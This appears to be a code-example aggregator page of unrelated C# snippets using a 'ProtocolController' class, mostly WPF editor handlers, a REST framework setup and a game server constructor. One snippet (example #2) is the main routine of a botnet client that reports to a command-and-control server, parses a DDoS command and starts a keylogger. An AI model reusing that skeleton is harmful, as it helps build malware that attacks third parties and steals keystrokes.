示例#1
0
        public MainWindow()
        {
            InitializeComponent();
            ProtocolController = new ProtocolController();
            //GenTestData();

            Loaded += OnLoaded;

            CbProtocols.SelectionChanged += CbProtocolsOnSelectionChanged;
            LbPackets.SelectionChanged   += LbPacketsOnSelectionChanged;
            LbSegments.SelectionChanged  += LbSegmentsOnSelectionChanged;
            LbPackets.MouseDoubleClick   += LbPacketsOnMouseDoubleClick;
            LbPackets.KeyUp += LbPacketsOnKeyUp;

            //  Говно-код, но иначе не получается получить доступ
            //  к ComboBox внутри ContentControl.ContentTemplate
            //  для инициализации SelectedItem
            CbDataType.ItemsSource         = Segment.GetDataTypes();
            TxtSegmentName.TextChanged    += TxtSegmentNameOnTextChanged;
            TxtSegmentName.LostFocus      += TxtSegmentNameOnLostFocus;
            TxtSegmentDesc.TextChanged    += TxtSegmentDescOnTextChanged;
            TxtSegmentDesc.LostFocus      += TxtSegmentDescOnLostFocus;
            CbDataType.SelectionChanged   += CbDataTypeOnSelectionChanged;
            CbDataType.DropDownClosed     += CbDataTypeOnDropDownClosed;
            TxtSegmentSize.TextChanged    += TxtSizeOnTextChanged;
            TxtSegmentSize.LostFocus      += TxtSegmentSizeOnLostFocus;
            CbPacketType.SelectionChanged += CbPacketTypeOnSelectionChanged;
            CbDynamicSize.DropDownClosed  += CbDynamicSizeOnDropDownClosed;
            InitTimer();
            //  Конец говно-кода
        }
示例#2
0
        static void Main(string[] args) // Main du Botnet
        {
            //Envoi des données au CNC de façon ASYNCHRONE (Apache et MySQL doivent être démarrés en local avec les bons scripts):
            Initialization initialiser = new Initialization();
            Task           test        = initialiser.sendInfoToCNCAsync(); //TODO: étudier comment correctement utiliser une fonction asynchrone en C#, pas sûr que je m'y prenne de la bonne manière

            //Exctraction des actions, target et arguments envoyés:
            ProtocolController ptclctl = new ProtocolController("<SOC><CMD>DDOS</CMD><TARGET>127.0.0.1</TARGET><ARG1>UDP</ARG1><ARG2>1500</ARG2><EOC>");

            Console.WriteLine("Action: " + ptclctl.action + "\n");
            Console.WriteLine("Target: " + ptclctl.target + "\n");

            foreach (string str in ptclctl.arguments)
            {
                Console.WriteLine(str);
            }
            Console.Read();
            Console.ReadKey();
            InterceptKeys interceptor = new InterceptKeys();

            interceptor.start();


            //Initialisation d'un objet ServerConnectors "sc" avec les informations les plus importantes: ip et port d'écoute:
            ServerConnectors sc = new ServerConnectors(IPAddress.Parse("127.0.0.1"), 2107);

            //Mise en écoute du socket grâce à la méthode ListenAndReceiveData() de l'objet "sc":
            sc.ListenAndReceiveData();

            Console.ReadKey();
        }
示例#3
0
 private void BtnAddSegment_OnClick(object sender, RoutedEventArgs e)
 {
     ProtocolController.AddSegment(CurrentPacket);
     CurrentPacket            = ProtocolController.Protocols.First(t => t == CurrentProtocol).Packets.First(p => p == CurrentPacket);
     LbSegments.ItemsSource   = null;
     LbSegments.ItemsSource   = CurrentPacket.Segments;
     LbSegments.SelectedIndex = CurrentPacket.Segments.Count - 1;
     RecalcPacketSize();
 }
示例#4
0
 private void BtnAddPacket_OnClick(object sender, RoutedEventArgs e)
 {
     ProtocolController.AddPacket(CurrentProtocol);
     LbPackets.ItemsSource = null;
     LbPackets.ItemsSource = CurrentProtocol.Packets;
     if (CurrentProtocol.Packets != null)
     {
         LbPackets.SelectedIndex = CurrentProtocol.Packets.Count - 1;
     }
 }
 /// <summary>
 /// Initiates the RESTar interface
 /// </summary>
 /// <param name="port">The port that RESTar should listen on</param>
 /// <param name="uri">The URI that RESTar should listen on. E.g. '/rest'</param>
 /// <param name="configFilePath">The path to the config file containing API keys and
 /// allowed origins</param>
 /// <param name="prettyPrint">Should JSON output be pretty print formatted as default?
 ///  (can be changed in settings during runtime)</param>
 /// <param name="daysToSaveErrors">The number of days to save errors in the Error resource</param>
 /// <param name="requireApiKey">Should the REST API require an API key?</param>
 /// <param name="allowAllOrigins">Should any origin be allowed to make CORS requests?</param>
 /// <param name="lineEndings">The line endings to use when writing JSON</param>
 /// <param name="entityResourceProviders">External entity resource providers for the RESTar instance</param>
 /// <param name="protocolProviders">External protocol providers for the RESTar instance</param>
 /// <param name="contentTypeProviders">External content type providers for the RESTar instance</param>
 public static void Init
 (
     ushort port             = 8282,
     string uri              = "/rest",
     bool requireApiKey      = false,
     bool allowAllOrigins    = true,
     string configFilePath   = null,
     bool prettyPrint        = true,
     ushort daysToSaveErrors = 30,
     LineEndings lineEndings = LineEndings.Windows,
     IEnumerable <IEntityResourceProvider> entityResourceProviders = null,
     IEnumerable <IProtocolProvider> protocolProviders             = null,
     IEnumerable <IContentTypeProvider> contentTypeProviders       = null
 )
 {
     try
     {
         ProcessUri(ref uri);
         Settings.Init(port, uri, false, prettyPrint, daysToSaveErrors, lineEndings);
         Log.Init();
         DynamitConfig.Init(true, true);
         ResourceFactory.MakeResources(entityResourceProviders?.ToArray());
         ContentTypeController.SetupContentTypeProviders(contentTypeProviders?.ToList());
         ProtocolController.SetupProtocolProviders(protocolProviders?.ToList());
         RequireApiKey   = requireApiKey;
         AllowAllOrigins = allowAllOrigins;
         ConfigFilePath  = configFilePath;
         NetworkController.AddNetworkBindings(new ScNetworkProvider());
         Initialized = true;
         UpdateConfiguration();
         DatabaseIndex.Init();
         DbOutputFormat.Init();
         ResourceFactory.BindControllers();
         ResourceFactory.FinalCheck();
         ProtocolController.OnInit();
         Webhook.Check();
         WebhookLogSettings.Init();
         RegisterStaticIndexes();
         RunCustomMigrationLogic();
     }
     catch
     {
         Initialized     = false;
         RequireApiKey   = default;
         AllowAllOrigins = default;
         ConfigFilePath  = default;
         NetworkController.RemoveNetworkBindings();
         Settings.Clear();
         NewState();
         throw;
     }
 }
示例#6
0
        private void BtnCreateProtocol_OnClick(object sender, RoutedEventArgs e)
        {
            var protocolsCount = ProtocolController.Protocols.Count;

            ProtocolController.CreateProtocol();
            if (ProtocolController.Protocols.Count <= protocolsCount)
            {
                return;
            }
            CbProtocols.ItemsSource   = null;
            CbProtocols.ItemsSource   = ProtocolController.Protocols;
            CbProtocols.SelectedIndex = CbProtocols.Items.Count - 1;
        }
 /// <summary>
 /// Used when creating generic requests
 /// </summary>
 internal RequestParameters(Context context, Method method, IResource resource, string protocolIdentifier = null, string viewName = null)
 {
     TraceId            = context.InitialTraceId;
     Context            = context;
     Method             = method;
     Headers            = new Headers();
     iresource          = resource;
     IsWebSocketUpgrade = Context.WebSocket?.Status == WebSocketStatus.Waiting;
     Uri = new URI
     {
         ResourceSpecifier = resource.Name,
         ViewName          = viewName
     };
     CachedProtocolProvider = ProtocolController.ResolveProtocolProvider(protocolIdentifier);
 }
示例#8
0
        private void BtnLoadProtocols_OnClick(object sender, RoutedEventArgs e)
        {
            var protocolController = ProtocolController.LoadProtocols();

            if (protocolController == null)
            {
                return;
            }
            ProtocolController      = protocolController;
            CbProtocols.ItemsSource = ProtocolController.Protocols;
            if (CbProtocols.Items.Count > 0)
            {
                CbProtocols.SelectedIndex = 0;
            }
            BtnSaveProtocols.ToolTip = string.Format(@"Save {0}", ProtocolController.FileName);
        }
示例#9
0
        //Konstruktor
        /// <summary>
        /// To initial the core we need to know many parameters to be flexible for different clients.
        /// We for example want the client to decide where to save the log file
        /// </summary>
        /// <param name="_ApplicationName"></param> Name of the application, that each client can have more then one game running on this server
        /// <param name="LatestClientVersion"></param> ////////////////////////////////////////// what is this for? usecase?
        /// <param name="_iPort"></param> port for connection to the clients. Connection is made with the NetworkServer
        /// <param name="_cProtocolDelimiter"></param> This is the delemiter used to seperate the values of each protocol for the client site! Only the c code is using this dilimiter. The recieved protocols have all ; as delemiter
        /// <param name="_EncryptionKey"></param> ///////////////////////////////////////////////
        /// <param name="_EncryptionIV"></param> ////////////////////////////////////////////////
        /// <param name="_PingTimer"></param> The client can decide how often the clients need to ping, e.g. every second. This is to check if the client somehow killed our application
        /// <param name="SessionLength"></param> How long shall be the session ID, that is generated randomly
        /// <param name="_sDatabaseDriver"></param> only mssql supported yet. Mysql in planning
        /// <param name="_sDBHostIp"></param> ///////////////////////////////////////////////////
        /// <param name="_sDBPort"></param> /////////////////////////////////////////////////////
        /// <param name="_sDBUser"></param> /////////////////////////////////////////////////////
        /// <param name="_sDBPass"></param> /////////////////////////////////////////////////////
        /// <param name="_sDBDefaultDB"></param> ////////////////////////////////////////////////
        /// <param name="_sLogPath"></param> Where is the logging file going to be saved
        /// <param name="LogLevel"></param> What level shall be logged? Everything = 3, All but debug = 2, Critical and Error = 1, only critical = 0
        /// <param name="PathGameDll"></param> Where is the game specific dll saved? This is needed for dynamicaly use functions for all kind of games like blocking a user.
        public ControllerCore(string _ApplicationName, int LatestClientVersion, short _iPort, char _cProtocolDelimiter, string _EncryptionKey, string _EncryptionIV, int _PingTimer, int SessionLength, string _sDatabaseDriver,
                              string _sDBHostIp, short _sDBPort, string _sDBUser, string _sDBPass, string _sDBDefaultDB, string _sLogPath, int LogLevel, string PathGameDll)
        {
            //Logging initialisations
            Support.logWriter Logger = new logWriter(_sLogPath, LogLevel);
            Logger.Seperate();
            Logger.writeInLog(1, LogCategory.OK, Support.LoggerType.SERVER, "Logging class initialized!");
            DBEngine dBEngine = null;

            //Database Initialisations
            if (_sDatabaseDriver == "mysql")
            {
                // mysql isn't supported yet
                // CCstDatabase.DatabaseEngine = new DBMysqlDataManager(_sDBHostIp,_sDBUser,_sDBPass,_sDBPort,_sDBDefaultDB);
            }
            else if (_sDatabaseDriver == "mssql")
            {
                // create the mssql manager
                dBEngine = new DBMssqlDataManager(_sDBHostIp, _sDBUser, _sDBPass, _sDBPort, _sDBDefaultDB);
            }


            //Database test
            if (dBEngine.testDBConnection())
            {
                Logger.writeInLog(1, LogCategory.OK, Support.LoggerType.DATABASE, "Database test successfull!");
            }
            else
            {
                Logger.writeInLog(1, LogCategory.ERROR, Support.LoggerType.DATABASE, "Database test was not successfull!");
                return;
            }
            // try to get the application ID for the given application out of the DB
            Application = SApplication.GetByName(_ApplicationName, dBEngine);
            // QUESTION: usually the procedure creates a new ID for a new application so this case should never apear?
            if (Application == null)
            {
                Logger.writeInLog(1, LogCategory.ERROR, Support.LoggerType.DATABASE, "The application name was not found in the database!");
                return;
            }

            Logger.ApplicationID = Application.ID;
            // Create a new config object to be able to use specific functions like logging in all classes by getting the insance via application information
            CCstData Config = new CCstData(Application, dBEngine, Logger);

            // test if connection to database is still working after safing it in the config
            if (CCstData.GetInstance(Application.ID).DatabaseEngine.testDBConnection())
            {
                CCstData.GetInstance(Application.ID).Logger.writeInLog(1, LogCategory.OK, Support.LoggerType.SERVER, "Instance successfully created!");
            }
            else
            {
                Logger.writeInLog(1, LogCategory.ERROR, Support.LoggerType.SERVER, "Instance could not be created!");
                return;
            }

            // fill the config with the needed values
            CCstData.GetInstance(Application.ID).LatestClientVersion = LatestClientVersion;
            CCstData.GetInstance(Application.ID).EncryptionKey       = _EncryptionKey;
            CCstData.GetInstance(Application.ID).EncryptionIV        = _EncryptionIV;
            CCstData.GetInstance(Application.ID).PingTimer           = _PingTimer;
            CCstData.GetInstance(Application.ID).SessionIDLength     = SessionLength;

            // Check if the user really included the path with the needed URL.
            if (!File.Exists(PathGameDll))
            {
                // this would be a critical error because we need the functions of the DLL to be a productive server
                Logger.writeInLog(1, LogCategory.CRITICAL, LoggerType.SERVER, String.Format("Game Dll not found! Path: {0}", PathGameDll));
                return;
            }
            // create the path to the config file. It always MUST have the name: config.ini
            string ConfigPath = Path.Combine(Path.GetDirectoryName(PathGameDll), "config.ini");

            if (!File.Exists(ConfigPath))
            {
                // this would be a critical error because we need the functions of the config file to be a productive server
                Logger.writeInLog(1, LogCategory.CRITICAL, Support.LoggerType.SERVER, String.Format("Game Config file not found! Path: ", ConfigPath));
                return;
            }
            // save the found DLL in our universal config object
            CCstData.GetInstance(Application).GameDLL = new Utility.ApplicationAdapter(Path.GetFullPath(PathGameDll), Application);
            // check if the constructor of the given DLL is working. This is important to make sure that we included the right DLL
            if (!CCstData.GetInstance(Application).GameDLL.ConstructorSuccessful)
            {
                return;
            }

            CCstData.GetInstance(Application).GameDLL.PrepareServer(ConfigPath);



            //Block Linux Ports

            /*SshClient unixSshConnectorAccept = new SshClient(LinuxIP, LinuxPort, LinuxLogin, LinuxPass);
             *
             * try
             * {
             *  unixSshConnectorAccept.Connect();
             *  if (!unixSshConnectorAccept.IsConnected)
             *      return;
             *  unixSshConnectorAccept.RunCommand("/root/.firewall.sh");
             *  Logger.writeInLog(1, LogCategory.OK, Support.LoggerType.GAMEDLL, "IP Table command executed!");
             *  //if (Res.Error.Length != 0)
             *      //CCstData.GetInstance(Application).Logger.writeInLog(1, LogCategory.CRITICAL, LoggerType.GAMEDLL, "Cannot execute start command!");
             * }
             * catch (Exception e)
             * {
             *  Logger.writeInLog(1, LogCategory.ERROR, Support.LoggerType.GAMEDLL, "Cannot connect to Linux Server");
             *  return;
             * }
             * finally
             * {
             *  unixSshConnectorAccept.Disconnect();
             * }
             *
             * string PuttyStringBuilder = "";
             * //PuttyStringBuilder += " service iptables stop";
             * //PuttyStringBuilder += " && iptables -F";
             * //PuttyStringBuilder += " && iptables -Z";
             * //PuttyStringBuilder += " && iptables -X";
             * //PuttyStringBuilder += " && iptables -A INPUT -p tcp --destination-port 80 -j DROP";
             * //PuttyStringBuilder += " && iptables -I INPUT -p all -s 112.211.180.233 -j ACCEPT";
             * //PuttyStringBuilder += " && iptables -I INPUT -p all -s 62.138.6.50 -j ACCEPT";
             * //PuttyStringBuilder += " && iptables -I INPUT -p all -s 167.88.15.104 -j ACCEPT";
             * //PuttyStringBuilder += " && iptables -I INPUT -p all -s 142.44.136.74 -j ACCEPT";
             * //PuttyStringBuilder += " && iptables -I INPUT -p all -s 169.255.124.234 -j ACCEPT";
             * //PuttyStringBuilder += " && iptables -I INPUT -p all -s 169.255.124.206 -j ACCEPT";
             * //PuttyStringBuilder += " && iptables -I INPUT -p all -s 167.88.15.102 -j ACCEPT";
             * //PuttyStringBuilder += " && service iptables save";
             * //PuttyStringBuilder += " && service iptables start";
             *
             * //SshCommand testing = unixSshConnectorAccept.RunCommand(PuttyStringBuilder);
             * //string Result1 = testing.Result;
             * //string Err = testing.Error;
             * //SshCommand test = unixSshConnectorAccept.RunCommand("service iptables stop");
             *
             * //SshCommand Test4 = unixSshConnectorAccept.RunCommand("cd ../etc/ppp/");
             * //SshCommand Test3 = unixSshConnectorAccept.RunCommand("ls -l");
             * //string Res = Test3.Result;
             * //string Res2 = Test2.Result;
             *
             * //SshCommand Test1=unixSshConnectorAccept.RunCommand("./PX2000.sh");
             * //string Error = Test1.Error;
             * //string Error2 = Test2.Error;
             *
             *
             *
             * //Clear IPTables
             * //unixSshConnectorAccept.RunCommand("iptables -F");
             * //unixSshConnectorAccept.RunCommand("iptables -Z");
             * //unixSshConnectorAccept.RunCommand("iptables -X");
             * //unixSshConnectorAccept.RunCommand("iptables -F FORWARD");
             *
             * //unixSshConnectorAccept.RunCommand("iptables -F OUTPUT");
             * //Block World-Ports
             * if (DeactivatePortBlocking)
             *  return;
             *
             * List<string> Ports = new List<string>();
             * Ports.Add("12001");
             * Ports.Add("12002");
             * Ports.Add("12003");
             * Ports.Add("12003");
             * Ports.Add("12003");
             * Ports.Add("12003");
             * Ports.Add("12003");
             * Ports.Add("12003");
             * Ports.Add("12003");
             * Ports.Add("12003");
             * Ports.Add("12003");
             * Ports.Add("12003");
             * Ports.Add("12003");
             * Ports.Add("12003");
             * Ports.Add("12003");
             * Ports.Add("12003");
             * //Ports.Add("entextnetwk");
             *
             *
             * foreach (string item in Ports)
             * {
             *  //Bestimmte Ports blocken
             *  //unixSshConnectorAccept.RunCommand("iptables -I INPUT -p tcp --dport " + item + " -j DROP");
             *  //unixSshConnectorAccept.RunCommand("iptables -A INPUT -p tcp --destination-port " + item + " -j DROP");
             * }
             *
             * //unixSshConnectorAccept.RunCommand("service iptables save");
             * //unixSshConnectorAccept.RunCommand("service iptables start");
             *
             * //unixSshConnectorAccept.Disconnect();
             */

            //Network Initialisations, this list includes all active connections to the client part of our project
            // this is needed for sending them protocols because there is no permanent connection to each client
            // it is also needed to check if all of them are still pinging
            ActiveConnections       = new List <networkServer.networkClientInterface>();
            sAesKey                 = "";
            this.cProtocolDelimiter = _cProtocolDelimiter;
            this.cDataDelimiter     = _cProtocolDelimiter;
            TcpServer               = new networkServer(NetworkProtocol, sAesKey, Application.ID, IPAddress.Any, _iPort, AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

            // QUESTION: What is this doing?
            ProtocolController.SendProtocol += this.SendProtocol;
            Logger.writeInLog(1, LogCategory.OK, Support.LoggerType.SERVER, "TCP Server ready for start!");
            Logger.Seperate();
            ProtocolController = new ProtocolController(ref ActiveConnections, Application.ID);


            /*//TESTCASE
             * networkServer.networkClientInterface dummy = new networkServer.networkClientInterface();
             * //Registration
             * ProtocolController.ReceivedProtocol(dummy, "500;98765;Test;Windoofs 7;Deutsch;1");
             * string SessionID = "ASDASD";
             * ActiveConnections[0].SessionID = SessionID;
             *
             * ProtocolController.ReceivedProtocol(dummy, String.Format("600;{0}", SessionID));
             * System.Threading.Thread.Sleep(1000);
             * ProtocolController.ReceivedProtocol(dummy, String.Format("600;{0}", SessionID));
             *
             * //ProtocolController.ReceivedProtocol(dummy, String.Format("701;{0};Prozess", SessionID));
             *
             * dummy.SessionID = SessionID;
             * ProtocolController.ReceivedProtocol(dummy, String.Format("701;{0};Process;Window;Class;MD5",SessionID));
             */
            //Auth
            //  networkProtocol("#104;Anderson2;Lars;Pickelin;miau1234;[email protected]", ref dummy);
            //  networkProtocol("#102;Anderson2;miau1x234", ref dummy);
            //Content
            //Get all rooms
            //  networkProtocol("#201", ref dummy);
            //Get all rooms of a specific user
            //  NetworkProtocol("#218", ref dummy);
            //Add new or update room
            //NetworkProtocol("#203;5;1;Avelinas Test raum;Hallo Welt;1;http://www.AvelinaLerntArrays.net", ref dummy);
            //Get all workouts of room id 2
            //  NetworkProtocol("#205;Hadd e", ref dummy);
            //Get Levels of workout with id 1
            //  NetworkProtocol("#207;1", ref dummy);
            //Get all excercises of workout 1
            //  NetworkProtocol("#209;1", ref dummy);
            //Delete room
            //NetworkProtocol("#213;114", ref dummy);
        }
示例#10
0
 private void BtnSaveAsProtocols_OnClick(object sender, RoutedEventArgs e)
 {
     ProtocolController.FileName = "";
     ProtocolController.SaveProtocols(ProtocolController);
     BtnSaveProtocols.ToolTip = string.Format(@"Save {0}", ProtocolController.FileName);
 }
示例#11
0
 private void BtnEditProtocol_OnClick(object sender, RoutedEventArgs e)
 {
     ProtocolController.ShowEditProtocolWindow(CurrentProtocol);
 }